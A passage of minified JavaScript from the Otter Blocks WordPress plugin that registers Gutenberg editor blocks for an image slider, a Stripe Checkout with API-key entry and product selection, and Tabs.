o=[...e];o[l].caption=t,s({images:o})},multiline:!1})))};const{attributes:dn}=Ya,un={root:null,rootMargin:"0px",threshold:[0]},bn=e=>(0,A.max)([Math.round((null!=e?e:0)/2),1]);const{name:mn}=Ya;(0,a.registerBlockType)(mn,{...Ya,title:(0,o.__)("Slider","otter-blocks"),description:(0,o.__)("Minimal image slider to showcase beautiful images. Powered by Otter.","otter-blocks"),icon:r.sliderIcon,keywords:["slider","gallery","carousel"],deprecated:tn,transforms:on,edit:({attributes:e,setAttributes:t,clientId:l,isSelected:a})=>{const n=(0,b.useRef)(null),r=(0,b.useRef)(null),s=(0,b.useRef)(null);(0,b.useEffect)((()=>{try{var o;if(void 0===e.width)0<(null!==(o=(0,m.select)("core/block-editor")?.getBlockParentsByBlockName?.(l,"themeisle-blocks/advanced-columns",!0))&&void 0!==o?o:[]).length&&t({width:"650px"})}catch(e){console.error(e)}}),[]),(0,b.useEffect)((()=>{const t=(0,y.blockInit)(l,dn);return()=>{t(e.id)}}),[e.id]),(0,b.useEffect)((()=>(s.current&&(n.current=new IntersectionObserver((t=>{t.forEach((t=>{t.isIntersecting&&0<=t.intersectionRect.height&&e.images&&0<e.images.length&&(g(),n.current?.unobserve(s.current))}))}),un),n.current?.observe(s.current)),()=>{e?.images?.length&&r?.current?.destroy(),n.current?.disconnect()})),[e.id]),(0,b.useEffect)((()=>{e.images&&0<e.images.length&&e.id&&(p(null),g())}),[a,e.id,r.current,e.images,e.width]),(0,b.useEffect)((()=>{e.images.length&&e.perView>e.images.length&&v(bn(e?.images?.length))}),[e.images]);const{responsiveGetAttributes:c}=(0,k.Y)(),[d,p]=(0,b.useState)(null),g=()=>{var t;Boolean(r.current)&&(r.current?.destroy?.(),r.current=void 0);const l=(0,y.getEditorIframe)(),o={type:"carousel",keyboard:!1,perView:e.perView,gap:e.gap,peek:e.peek,autoplay:!1,animationTimingFunc:e.transition||"ease",direction:window.themeisleGutenberg.isRTL?"rtl":"ltr",breakpoints:{800:{perView:1,peek:0,gap:0}}};if(Boolean(null!==(t=document.querySelector(`#${e.id}`))&&void 0!==t?t:l?.contentDocument?.querySelector(`#${e.id}`)))try{if(Boolean(l)){const e=()=>{l?.contentWindow?.Glide&&(r.current=new l.contentWindow.Glide(s.current,o).mount())};Boolean(l.contentDocument?.querySelector("#glidejs-js"))?e():(0,y.copyScriptAssetToIframe)("#glidejs-js",e)}else r.current=new window.Glide(s.current,o).mount()}catch(e){console.warn(e)}},f=e=>{t({images:e.map((e=>({id:e.id,url:e.url,alt:e.alt,caption:e.caption})))})},v=l=>{t({perView:Number(l),gap:1===l?0:e.gap,peek:1===l?0:e.peek})};(0,b.useEffect)((()=>{var t,l,o,a;Boolean(r?.current?.update)&&r.current.update({perView:null!==(t=e.perView)&&void 0!==t?t:1,gap:null!==(l=e.gap)&&void 0!==l?l:0,peek:null!==(o=e.peek)&&void 0!==o?o:0,animationTimingFunc:null!==(a=e.transition)&&void 0!==a?a:"ease"})}),[r.current,e.gap,e.peek,e.transition,e.perView]);const _={"--arrows-color":e.arrowsColor,"--arrows-background-color":e.arrowsBackgroundColor,"--pagination-color":e.paginationColor,"--pagination-active-color":e.paginationActiveColor,"--border-color":e.borderColor,"--border-width":e.borderWidth,"--border-radius":e.borderRadius,"--width":e.width},C=(0,u.useBlockProps)();return Array.isArray(e.images)&&!e.images.length?(0,i.createElement)("div",{...C},(0,i.createElement)(an,{labels:{title:(0,o.__)("Slider","otter-blocks"),instructions:(0,o.__)("Drag images, upload new ones or select files from your library.","otter-blocks")},icon:"images-alt2",onSelectImages:f})):(0,i.createElement)(b.Fragment,null,(0,i.createElement)(nn,{attributes:e,setAttributes:t,onSelectImages:f,changePerView:v}),(0,i.createElement)("div",{...C},(0,i.createElement)("div",{id:e.id,className:"glide",style:_,ref:s},(0,i.createElement)("div",{className:"glide__track","data-glide-el":"track"},(0,i.createElement)("div",{className:"glide__slides",style:{height:c([(0,h.Yj)(e.height),e.heightTablet,e.heightMobile])}},e.images.map(((l,o)=>(0,i.createElement)(cn,{key:l.url,images:e.images,image:l,index:o,isFirstItem:0===o,isLastItem:o+1===e.images.length,isSelected:a&&l.id===d,setAttributes:t,setSelectedImage:p})))),(0,i.createElement)(Xa,{attributes:e}))),a&&(0,i.createElement)(an,{labels:{title:"",instructions:""},icon:null,onSelectImages:f,isAppender:!0,value:e.images})))},save:({attributes:e})=>{const t=e.autoplay&&2!==e.delay?1e3*e.delay:e.autoplay,l=u.useBlockProps.save({id:e.id,className:"glide","data-per-view":e.perView,"data-gap":e.gap,"data-peek":e.peek,"data-autoplay":t,"data-height":(0,h.Yj)(e.height),"data-hide-arrows":e.hideArrows,...e.transition&&{"data-transition":e.transition}});return(0,i.createElement)("div",{...l},(0,i.createElement)("div",{className:"glide__track","data-glide-el":"track"},(0,i.createElement)("div",{className:"glide__slides"},e.images.map((e=>(0,i.createElement)("div",{key:e.id,className:"wp-block-themeisle-blocks-slider-item-wrapper glide__slide",tabIndex:"0"},(0,i.createElement)("figure",null,(0,i.createElement)("img",{className:"wp-block-themeisle-blocks-slider-item",src:e.url,alt:e.alt,title:e.alt,"data-id":e.id}),!u.RichText.isEmpty(e.caption)&&(0,i.createElement)(u.RichText.Content,{tagName:"figcaption",value:e.caption})))))),(0,i.createElement)(Ja,{attributes:e})))},example:{attributes:{images:[{id:1,url:"https://s.w.org/images/core/5.3/Glacial_lakes%2C_Bhutan.jpg"},{id:2,url:"https://s.w.org/images/core/5.3/Sediment_off_the_Yucatan_Peninsula.jpg"}]}}});var pn=JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":2,"name":"themeisle-blocks/stripe-checkout","title":"Stripe Checkout","category":"themeisle-blocks","description":"A Stripe Checkout to sell your products on your website without any hassle. Powered by Otter.","keywords":["stripe","checkout","payment"],"textdomain":"otter-blocks","attributes":{"product":{"type":"string"},"price":{"type":"string"},"successMessage":{"type":"string"},"cancelMessage":{"type":"string"},"autoresponder":{"type":"object"}},"supports":{"html":false},"editorStyle":"otter-stripe-checkout-editor","style":"otter-stripe-checkout-style"}'),gn=l(1526);const hn=()=>(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Autoresponder","otter-blocks"),initialOpen:!1},(0,i.createElement)(p.TextControl,{label:(0,o.__)("Autoresponder Subject","otter-blocks"),placeholder:(0,o.__)("Thank you for your purchase","otter-blocks"),disabled:!0,help:(0,o.__)("Enter the subject of the autoresponder email.","otter-blocks"),className:"o-disabled"}),(0,i.createElement)(p.TextareaControl,{label:(0,o.__)("Autoresponder Body","otter-blocks"),placeholder:(0,o.__)('We appreciate your recent purchase made on our website. You have received a promotional code, namely <strong>EXAMPLE</strong>, which can be applied during checkout on our <a href="https://themeisle.com/plugins/otter-blocks/">website</a>',"otter-blocks"),rows:2,help:(0,o.__)("Enter the body of the autoresponder email.","otter-blocks"),disabled:!0,className:"o-disabled"}),!Boolean(window?.otterPro?.isActive)&&Boolean(window?.themeisleGutenberg?.hasPro)&&(0,i.createElement)(g.qX,{notice:(0,o.__)("You need to activate Otter Pro.","otter-blocks"),instructions:(0,o.__)("You need to activate your Otter Pro license to use Pro features of Stripe Checkout.","otter-blocks")}),!Boolean(window?.themeisleGutenberg?.hasPro)&&(0,i.createElement)("div",null,(0,i.createElement)(g.qX,{notice:(0,i.createElement)(p.ExternalLink,{href:(0,h.Wi)(window.themeisleGutenberg.upgradeLink,"form-block")},(0,o.__)("Unlock this with Otter Pro.","otter-blocks")),variant:"upsell"}),(0,i.createElement)("p",{className:"description"},(0,o.__)("Automatically send follow-up emails to your users with the Autoresponder feature.","otter-blocks"))));var kn=({attributes:e,setAttributes:t,view:l,setView:a,isLoadingProducts:n,productsList:r,isLoadingPrices:s,pricesList:c,apiKey:d,setAPIKey:m,saveApiKey:h,status:k})=>{var y,f;const[v,_]=(0,b.useState)(!1);return(0,i.createElement)(u.InspectorControls,null,(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Settings","otter-blocks")},!n&&(0,i.createElement)(p.SelectControl,{label:(0,o.__)("Select a product to display.","otter-blocks"),value:e.product,options:[{label:(0,o.__)("Select a product","otter-blocks"),value:"none"},...r],onChange:e=>{window.oTrk?.add({feature:"stripe-checkout",featureComponent:"product-changed"}),t({product:"none"!==e?e:void 0,price:void 0})}}),!s&&e.product&&(0,i.createElement)(p.SelectControl,{label:(0,o.__)("Select the price you want to display.","otter-blocks"),value:e.price,options:[{label:(0,o.__)("Select a price","otter-blocks"),value:"none"},...c],onChange:e=>{window.oTrk?.add({feature:"stripe-checkout",featureComponent:"price-changed"}),t({price:"none"!==e?e:void 0})}}),(n||s)&&(0,i.createElement)(p.Placeholder,null,(0,i.createElement)(p.Spinner,null))),(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Success & Cancel Messages","otter-blocks"),initialOpen:!1},(0,i.createElement)(g.Lp,{label:(0,o.__)("View","otter-blocks"),value:l,options:[{label:(0,o.__)("Default","otter-blocks"),value:"default"},{label:(0,o.__)("Success","otter-blocks"),value:"success"},{label:(0,o.__)("Cancel","otter-blocks"),value:"cancel"}],onChange:a}),v&&(0,i.createElement)(p.Modal,{title:(0,o.__)("Stripe Messages"),onRequestClose:()=>_(!1),shouldCloseOnClickOutside:!1},(0,i.createElement)(g.LD,{label:(0,o.__)("Success Message","otter-blocks"),value:null!==(y=e.successMessage)&&void 0!==y?y:(0,o.__)("Your payment was successful. If you have any questions, please email orders@example.com.","otter-blocks"),onChange:e=>t({successMessage:e}),allowRawHTML:!0}),(0,i.createElement)(g.LD,{label:(0,o.__)("Cancel Message","otter-blocks"),value:null!==(f=e.cancelMessage)&&void 0!==f?f:(0,o.__)("Your payment was unsuccessful. If you have any questions, please email orders@example.com.","otter-blocks"),onChange:e=>t({cancelMessage:e}),allowRawHTML:!0})),(0,i.createElement)(p.Button,{variant:"secondary",onClick:()=>_(!0)},(0,o.__)("Open Editor","otter-blocks"))),(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Global Settings","otter-blocks"),initialOpen:!1},(0,i.createElement)(p.TextControl,{label:(0,o.__)("Change Stripe API Key","otter-blocks"),type:"text",placeholder:(0,o.__)("Type a new Stripe API Key","otter-blocks"),value:d,className:"components-placeholder__input",autoComplete:"off",onChange:m,help:(0,o.__)("Changing the API key effects all Stripe Checkout blocks. You will have to refresh the page after changing your API keys.","otter-blocks")}),(0,i.createElement)(p.Button,{isSecondary:!0,type:"submit",onClick:h,isBusy:"loading"===k},(0,o.__)("Save API Key","otter-blocks"))),(0,Fe.applyFilters)("otter.stripe-checkout.inspector",(0,i.createElement)(hn,null),e,t))},yn=l(141);const{name:fn}=pn;(0,a.registerBlockType)(fn,{...pn,title:(0,o.__)("Stripe Checkout","otter-blocks"),description:(0,o.__)("A Stripe Checkout to sell your products on your website without any hassle. Powered by Otter.","otter-blocks"),icon:r.cartIcon,keywords:["stripe","checkout","payment"],edit:({attributes:e,setAttributes:t})=>{const[l,a,n]=(0,yn.Z)(),[r,s]=(0,b.useState)(!1);(0,b.useEffect)((()=>{if("loaded"===n){const e=l("themeisle_stripe_api_key");s("loaded"===n&&0<e?.length)}}),[n,l]);const{products:d,productsList:g,hasProductsRequestFailed:h,productsError:k,isLoadingProducts:y}=(0,m.useSelect)((e=>{const{getStripeProducts:t,getResolutionError:l,isResolving:o}=e("themeisle-gutenberg/data"),a=t();return{products:a,productsList:a?a?.map((e=>({label:`${e?.name} (id:${e?.id})`,value:e?.id}))):[],hasProductsRequestFailed:Boolean(l?.("getStripeProducts")),productsError:l?.("getStripeProducts"),isLoadingProducts:o?.("getStripeProducts")}}),[r,n]),{prices:f,pricesList:v,hasPricesRequestFailed:_,pricesError:C,isLoadingPrices:w}=(0,m.useSelect)((t=>{if(!r)return{prices:[],pricesList:[],hasPricesRequestFailed:!0,pricesError:null,isLoadingPrices:!1};const{getStripeProductPrices:l,getResolutionError:o,isResolving:a}=t("themeisle-gutenberg/data"),n=e.product?l?.(e.product):[];return{prices:n,pricesList:n?n?.map((e=>({label:`${e?.currency} ${e?.unit_amount} (id:${e?.id})`,value:e?.id}))):[],hasPricesRequestFailed:Boolean(o?.("getStripeProductPrices",[e.product])),pricesError:o?.("getStripeProductPrices",[e.product]),isLoadingPrices:a?.("getStripeProductPrices",[e.product])}}),[e.product,r]),[E,x]=(0,b.useState)("default"),[S,T]=(0,b.useState)({});(0,b.useEffect)((()=>{const t=d?.find((t=>e.product==t.id)),l=f?.find((t=>e.price==t.id));let o;l?.unit_amount&&(o=l?.unit_amount/100,o=o.toLocaleString("en-US",{style:"currency",currency:l?.currency})),T({name:t?.name,price:o,description:t?.description,image:t?.images?.[0]||void 0})}),[d,f,e.price]);const B=y||w||h||_||void 0===e.product||void 0===e.price||"loaded"!==n||!r,M=(0,u.useBlockProps)({className:c()({"is-placeholder":B})}),[P,z]=(0,b.useState)(""),F=()=>{(0,m.dispatch)("themeisle-gutenberg/data").invalidateResolutionForStoreSelector("getStripeProducts"),(0,m.dispatch)("themeisle-gutenberg/data").invalidateResolutionForStoreSelector("getStripeProductPrices"),s(0<P?.length),z("")},R=()=>{s(!1),a("themeisle_stripe_api_key",P?.replace?.(/\s/g,""),(0,o.__)("Stripe API Key saved!","otter-blocks"),"stripe-api-key",F)};return B?(0,i.createElement)("div",{...M},(0,i.createElement)(p.Placeholder,{icon:gn.Z,label:(0,o.__)("Stripe Checkout","otter-blocks")},("loading"===n||"saving"===n)&&(0,i.createElement)("div",{style:{width:"100%"}},(0,i.createElement)(p.Spinner,null),(0,o.__)("Checking the API Key...","otter-blocks"),(0,i.createElement)("br",null),(0,i.createElement)("br",null)),(h||_)&&"loaded"===n&&(k?.message?.length||C?.message?.length)&&(0,i.createElement)("div",{style:{width:"100%",marginLeft:"-15px",marginBottom:"10px"}},(0,i.createElement)(p.Notice,{status:"error",isDismissible:!1},h&&k?.message||_&&C?.message)),"loaded"===n&&(h&&k?.message?.includes("Invalid API Key")||!r)&&(0,i.createElement)("div",{style:{display:"flex",flexDirection:"column"}},(0,i.createElement)(p.TextControl,{label:(0,o.__)("Stripe API Key","otter-blocks"),type:"text",placeholder:(0,o.__)("Type here the Stripe API Key","otter-blocks"),value:P,className:"components-placeholder__input",onChange:z,autoComplete:"off"}),(0,i.createElement)("div",null,(0,i.createElement)(p.Button,{isPrimary:!0,type:"submit",onClick:()=>{window.oTrk?.add({feature:"stripe",featureComponent:"api-key"}),R()}},(0,o.__)("Save","otter-blocks"))),(0,i.createElement)("br",null),(0,i.createElement)(p.ExternalLink,{href:window.themeisleGutenberg.optionsPath},(0,o.__)("You can also set it from Dashboard","otter-blocks"))),"error"===n&&(0,i.createElement)(b.Fragment,null,(0,o.__)("An error occurred during API Key checking.","otter-blocks")),"loaded"===n&&!1===h&&r&&(0,i.createElement)(b.Fragment,null,!y&&(0,i.createElement)(p.SelectControl,{label:(0,o.__)("Select a product to display.","otter-blocks"),value:e.product,options:[{label:(0,o.__)("Select a product","otter-blocks"),value:"none"},...g],onChange:e=>{window.oTrk?.add({feature:"stripe-checkout",featureComponent:"product-changed"}),t({product:"none"!==e?e:void 0})}}),!w&&e.product&&(0,i.createElement)(p.SelectControl,{label:(0,o.__)("Select the price you want to display.","otter-blocks"),value:e.price,options:[{label:(0,o.__)("Select a price","otter-blocks"),value:"none"},...v],onChange:e=>{window.oTrk?.add({feature:"stripe-checkout",featureComponent:"price-changed"}),t({price:"none"!==e?e:void 0})}}),(y||w)&&(0,i.createElement)(p.Placeholder,null,(0,i.createElement)(p.Spinner,null))))):(0,i.createElement)(b.Fragment,null,(0,i.createElement)(kn,{attributes:e,setAttributes:t,view:E,setView:x,isLoadingProducts:y,productsList:g,isLoadingPrices:w,pricesList:v,apiKey:P,setAPIKey:z,saveApiKey:R,status:n}),(0,i.createElement)("div",{...M},"default"===E&&(0,i.createElement)(b.Fragment,null,(0,i.createElement)("div",{className:"o-stripe-checkout"},void 0!==S?.image&&(0,i.createElement)("img",{src:S.image,alt:S?.description}),(0,i.createElement)("div",{className:"o-stripe-checkout-description"},(0,i.createElement)("h3",null,S?.name),(0,i.createElement)("h5",null,S?.price))),(0,i.createElement)("a",null,(0,o.__)("Checkout","otter-blocks"))),"success"===E&&(e.successMessage||(0,o.__)("Your payment was successful. If you have any questions, please email orders@example.com.","otter-blocks")),"cancel"===E&&(e.cancelMessage||(0,o.__)("Your payment was unsuccessful. If you have any questions, please email orders@example.com.","otter-blocks"))))},save:()=>null,supports:{html:!1}});var vn=JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":2,"name":"themeisle-blocks/tabs","title":"Tabs","category":"themeisle-blocks","description":"Organize and allow navigation between groups of content with Tabs block. Powered by Otter.","keywords":["media","tabs","select"],"textdomain":"otter-blocks","attributes":{"id":{"type":"string"},"borderColor":{"type":"string"},"borderWidth":{"type":["number","object"]},"borderRadius":{"type":"object"},"titleBorderWidth":{"type":"object"},"titleColor":{"type":"string"},"tabColor":{"type":"string"},"activeTitleColor":{"type":"string"},"activeTitleBackgroundColor":{"type":"string"},"activeBorderColor":{"type":"string"},"contentTextColor":{"type":"string"},"titleBackgroundColor":{"type":"string"},"titlePadding":{"type":"object"},"contentPadding":{"type":"object"},"titleFontSize":{"type":"string"},"titleAlignment":{"type":"string"},"isSynced":{"type":"array","default":[]}},"supports":{"align":["left","center","right"]},"editorStyle":"otter-tabs-editor","style":"otter-tabs-style","script":"otter-tabs"}');const Cn=(0,St.W6)((()=>(0,i.createElement)("div",{className:"wp-block-themeisle-blocks-tabs-inspector-tab-option__drag",tabIndex:"0"},(0,i.createElement)("span",null)))),wn=(0,St.W8)((({tab:e,deleteTab:t,selectTab:l})=>(0,i.createElement)("div",{className:"wp-block-themeisle-blocks-tabs-inspector-tab-option"},(0,i.createElement)(Cn,null),(0,i.createElement)("div",{className:"wp-block-themeisle-blocks-tabs-inspector-tab-option__name"},e.attributes.title||(0,o.__)("Untitled Tab","otter-blocks")),(0,i.createElement)(p.Button,{icon:"edit",label:(0,o.__)("Edit Tab","otter-blocks"),showTooltip:!0,className:"wp-block-themeisle-blocks-tabs-inspector-tab-option__actions",onClick:()=>l(e.clientId)}),(0,i.createElement)(p.Button,{icon:"no-alt",label:(0,o.__)("Remove Tab","otter-blocks"),showTooltip:!0,className:"wp-block-themeisle-blocks-tabs-inspector-tab-option__actions",onClick:()=>t(e.clientId)})))),En=[{label:(0,o.__)("Default","otter-blocks"),value:"default",isDefault:!0},{label:(0,o.__)("Border","otter-blocks"),value:"border"},{label:(0,o.__)("Boxed","otter-blocks"),value:"boxed"}];var xn=({attributes:e,setAttributes:t,children:l,deleteTab:a,selectTab:n,addTab:r,moveTab:s})=>{var c,d,k,f,v,_,C,w,E,x;const[S,T]=(0,b.useState)(l.find((e=>!0===e.attributes.defaultOpen))?.clientId),{updateBlockAttributes:B}=(0,m.useDispatch)("core/block-editor"),{getBlock:M}=(0,m.useSelect)((e=>e("core/block-editor")));(0,b.useEffect)((()=>{T(l.find((e=>!0===e.attributes.defaultOpen))?.clientId)}),[l]);const P=e=>{!0===M(e).attributes.defaultOpen&&B(l[0].clientId,{defaultOpen:!0}),a(e)},z=(0,St.JN)((({items:e})=>(0,i.createElement)("div",null,e.map(((e,t)=>(0,i.createElement)(wn,{key:e.clientId,tab:e,index:t,deleteTab:P,selectTab:n})))))),F=l.map(((e,t)=>({label:`${t+1}. ${e.attributes.title||(0,o.__)("Untitled Tab","otter-blocks")}`,value:e.clientId}))),[R,L]=(0,y.useTabSwitch)(e.id,"settings");return(0,i.createElement)(u.InspectorControls,null,(0,i.createElement)("div",null,(0,i.createElement)(g.Hn,{value:R,options:[{label:(0,o.__)("Settings","otter-blocks"),value:"settings"},{label:(0,o.__)("Style","otter-blocks"),value:"style"}],onChange:L}),"settings"===R&&(0,i.createElement)(b.Fragment,null,(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Tabs Settings","otter-blocks")},"left"!==e.tabsPosition&&(0,i.createElement)(p.BaseControl,{label:(0,o.__)("Alignment","otter-blocks")},(0,i.createElement)(g.Ik,{value:null!==(c=e.titleAlignment)&&void 0!==c?c:"left",onChange:e=>t({titleAlignment:e}),options:[{icon:D.Z,label:(0,o.__)("Left","otter-blocks"),value:"left"},{icon:G.Z,label:(0,o.__)("Center","otter-blocks"),value:"center"},{icon:j.Z,label:(0,o.__)("Right","otter-blocks"),value:"right"},{icon:ee.Z,label:(0,o.__)("Full","otter-blocks"),value:"full"}],hasIcon:!0}))),(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Tabs Management","otter-blocks")},(0,i.createElement)("p",null,(0,o.__)("Press and hold to use drag and drop to sort the tabs","otter-blocks")),0<l?.length&&(0,i.createElement)(z,{items:l,onSortEnd:({oldIndex:e,newIndex:t})=>{s(l[e].clientId,t)},useDragHandle:!0,axis:"y",lockAxis:"y"}),(0,i.createElement)(p.Button,{isSecondary:!0,className:"wp-block-themeisle-blocks-tabs-inspector-add-tab",onClick:r},(0,o.__)("Add Tab","otter-blocks")),(0,i.createElement)(p.SelectControl,{label:(0,o.__)("Initial Tab","otter-blocks"),value:S,options:F,onChange:e=>{l.forEach(((e,t)=>{B(l[t].clientId,{defaultOpen:!1})})),B(e,{defaultOpen:!0}),T(e)}}))),"style"===R&&(0,i.createElement)(b.Fragment,null,(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Style variations","otter-blocks")},(0,i.createElement)(p.BaseControl,{label:(0,o.__)("Select a style","otter-blocks")},(0,i.createElement)(g.Ik,{value:(0,h.tB)(En,e.className),onChange:l=>{const o=(0,h.L4)(e?.className,En,l)||void 0;t({className:o})},options:[{label:(0,o.__)("Default","otter-blocks"),value:"default"},{label:(0,o.__)("Border","otter-blocks"),value:"border"},{label:(0,o.__)("Boxed","otter-blocks"),value:"boxed"}],hasIcon:!1}))),(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Typography","otter-blocks")},(0,i.createElement)(g.r4,{isSynced:e.isSynced,setAttributes:t,options:[{label:(0,o.__)("Font Size","otter-blocks"),value:"titleFontSize"}]}),(0,i.createElement)(ae,{attr:"titleFontSize",attributes:e},(0,i.createElement)(p.FontSizePicker,{fontSizes:[{name:(0,o.__)("Extra Small","otter-blocks"),icon:"small",size:"14px"},{name:(0,o.__)("Small","otter-blocks"),slug:"small",size:"16px"},{name:(0,o.__)("Medium","otter-blocks"),slug:"medium",size:"18px"},{name:(0,o.__)("Large","otter-blocks"),slug:"large",size:"24px"},{name:(0,o.__)("Extra Large","otter-blocks"),slug:"extra-large",size:"28px"}],value:e.titleFontSize,onChange:e=>t({titleFontSize:e})}))),(0,i.createElement)(g._X,{label:(0,o.__)("Colors","otter-blocks"),isSynced:null!==(d=e.isSynced)&&void 0!==d?d:[],initialOpen:!1,setAttributes:t,options:[{value:e.titleBackgroundColor,label:(0,o.__)("Title Background","otter-blocks"),slug:"titleBackgroundColor"},{value:e.activeTitleBackgroundColor,label:(0,o.__)("Active Title Background","otter-blocks"),slug:"activeTitleBackgroundColor"},{value:null!==(k=null!==(f=e.titleColor)&&void 0!==f?f:e.tabColor)&&void 0!==k?k:"white",label:(0,o.__)("Title","otter-blocks"),slug:"titleColor"},{value:e.activeTitleColor,label:(0,o.__)("Active Title","otter-blocks"),slug:"activeTitleColor"},{value:e.contentTextColor,label:(0,o.__)("Content Text","otter-blocks"),slug:"contentTextColor"},{value:null!==(v=e.tabColor)&&void 0!==v?v:"white",label:(0,o.__)("Content Background","otter-blocks"),slug:"tabColor"},{value:e.borderColor,label:(0,o.__)("Border","otter-blocks"),slug:"borderColor"},{value:e.activeBorderColor,label:(0,o.__)("Active Border","otter-blocks"),slug:"activeBorderColor"}]}),(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Dimensions(Layout)","otter-blocks"),initialOpen:!1},(0,i.createElement)(g.r4,{isSynced:e.isSynced,setAttributes:t,options:[{label:(0,o.__)("Title Padding","otter-blocks"),value:"titlePadding"},{label:(0,o.__)("Content Padding","otter-blocks"),value:"contentPadding"}]}),(0,i.createElement)(ae,{attr:"titlePadding",attributes:e},(0,i.createElement)(p.__experimentalBoxControl,{label:(0,o.__)("Title Padding","otter-blocks"),values:null!==(_=e.titlePadding)&&void 0!==_?_:(0,W.rO)("16px"),onChange:e=>t({titlePadding:(0,h.jO)(e)?void 0:e})})),(0,i.createElement)(ae,{attr:"contentPadding",attributes:e},(0,i.createElement)(p.__experimentalBoxControl,{label:(0,o.__)("Content Padding","otter-blocks"),values:null!==(C=e.contentPadding)&&void 0!==C?C:(0,W.rO)("16px"),onChange:e=>t({contentPadding:(0,h.jO)(e)?void 0:e})}))),(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Border","otter-blocks"),initialOpen:!1},(0,i.createElement)(g.r4,{isSynced:e.isSynced,setAttributes:t,options:[{label:(0,o.__)("Title Border Width","otter-blocks"),value:"titleBorderWidth"},{label:(0,o.__)("Content Border Width","otter-blocks"),value:"borderWidth"}]}),(0,i.createElement)(ae,{attr:"titleBorderWidth",attributes:e},(0,i.createElement)(p.__experimentalBoxControl,{label:(0,o.__)("Title Border Width","otter-blocks"),values:null!==(w=e.titleBorderWidth)&&void 0!==w?w:(0,h.Yw)(null!==(E=e.borderWidth)&&void 0!==E?E:"3px"),onChange:e=>{t({titleBorderWidth:(0,h.jO)(e)?void 0:e})}})),(0,i.createElement)(ae,{attr:"borderWidth",attributes:e},(0,i.createElement)(p.__experimentalBoxControl,{label:(0,o.__)("Content Border Width","otter-blocks"),values:(0,h.Yw)(null!==(x=e.borderWidth)&&void 0!==x?x:"3px"),onChange:e=>{t({borderWidth:(0,h.jO)(e)?void 0:e})}}))))))},Sn=l(4688),Tn=({children:e,selectedTab:t,moveTab:l,selectTab:a})=>{const n=e?.findIndex((({clientId:e})=>e===t)),r=e=>{switch(e){case"left":l(t,n-1);break;case"right":l(t,n+1)}};return(0,i.createElement)(u.BlockControls,null,(0,i.createElement)(p.ToolbarGroup,{label:(0,o.__)("Edit","otter-blocks")},(0,i.createElement)(p.ToolbarButton,{label:(0,o.__)("Edit tab","otter-blocks"),icon:Sn.Z,iconSize:24,className:"wp-block-themeisle-blocks-tabs-toolbar-edit",onClick:()=>a(t)})),(0,i.createElement)(p.ToolbarGroup,{label:(0,o.__)("Movement","otter-blocks")},(0,i.createElement)(p.ToolbarButton,{label:(0,o.__)("Move tab left","otter-blocks"),icon:rn.Z,iconSize:24,disabled:0===n,className:"wp-block-themeisle-blocks-tabs-toolbar-mover",onClick:()=>r("left")}),(0,i.createElement)(p.ToolbarButton,{label:(0,o.__)("Move tab right","otter-blocks"),icon:sn.Z,iconSize:24,disabled:e?.length-1===n,className:"wp-block-themeisle-blocks-tabs-toolbar-mover",onClick:()=>r("right")})))};const{attributes:Bn}=vn,Mn=({tag:e,title:t,onClick:l,active:a,onChangeTitle:n})=>(0,i.createElement)("div",{className:c()("wp-block-themeisle-blocks-tabs__header_item",{active:a}),onClick:l},(0,i.createElement)(u.RichText,{placeholder:(0,o.__)("Add title…","otter-blocks"),value:t,onChange:n,tagName:null!=e?e:"div",withoutInteractiveFormatting:!0,multiline:!1})),Pn=({clientId:e,addTab:t})=>(0,i.createElement)("div",{className:"add-header-container"},(0,i.createElement)("div",{className:"add-header-item"},(0,i.createElement)(C,{buttonText:(0,o.__)("Add Tab","otter-blocks"),variant:"primary",allowedBlock:"themeisle-blocks/tabs-item",clientId:e,onClick:t})));const{name:zn}=vn;(0,a.registerBlockType)(zn,{...vn,title:(0,o.__)("Tabs","otter-blocks"),description:(0,o.__)("Organize and allow navigation between groups of content with Tabs block. Powered by Otter.","otter-blocks"),icon:r.tabsIcon,keywords:["media","tabs","select"],edit:({attributes:e,setAttributes:t,isSelected:l,clientId:n,name:r})=>{(0,b.useEffect)((()=>{const t=(0,y.blockInit)(n,Bn);return()=>t(e.id)}),[e.id]);const s=(0,b.useRef)(null),d=t=>e?.isSynced?.includes(t)?(0,y.getDefaultValueByField)({name:r,field:t,defaultAttributes:Bn,attributes:e}):e?.[t],p=(0,m.useSelect)((e=>{const{getBlock:t}=e("core/block-editor");return t(n).innerBlocks}),[]),[g,f]=(0,b.useState)(p.find((e=>!0===e.attributes.defaultOpen))?.clientId),{insertBlock:v,removeBlock:_,selectBlock:C,moveBlockToPosition:w}=(0,m.useDispatch)("core/block-editor"),E=e=>{s.current&&(p.forEach((t=>{const l=s.current.querySelector(`#block-${t.clientId} > .wp-block-themeisle-blocks-tabs-item__content`),o=s.current.querySelector(`#block-${t.clientId} > .wp-block-themeisle-blocks-tabs-item__header`);l?.classList.toggle("active",t.clientId===e),o?.classList.toggle("active",t.clientId===e)})),f(e))};(0,b.useEffect)((()=>{E(g)}),[]),(0,b.useEffect)((()=>{0<p?.length&&(void 0!==g&&p?.some((e=>e.clientId===g))||E(p[0].clientId))}),[g,p]),(0,k.W)(e.tabColor,e,t);const x=e=>{if(0<p?.length){const t=p.find((t=>t.clientId===e));C(t.clientId)}},S=(e,t)=>{const l=p.find((t=>t.clientId===e))?.clientId;l&&w(l,n,n,t)},T=()=>{var e;const t=(0,a.createBlock)("themeisle-blocks/tabs-item",{title:(0,o.__)("Tab ","otter-blocks")+((null!==(e=p?.length)&&void 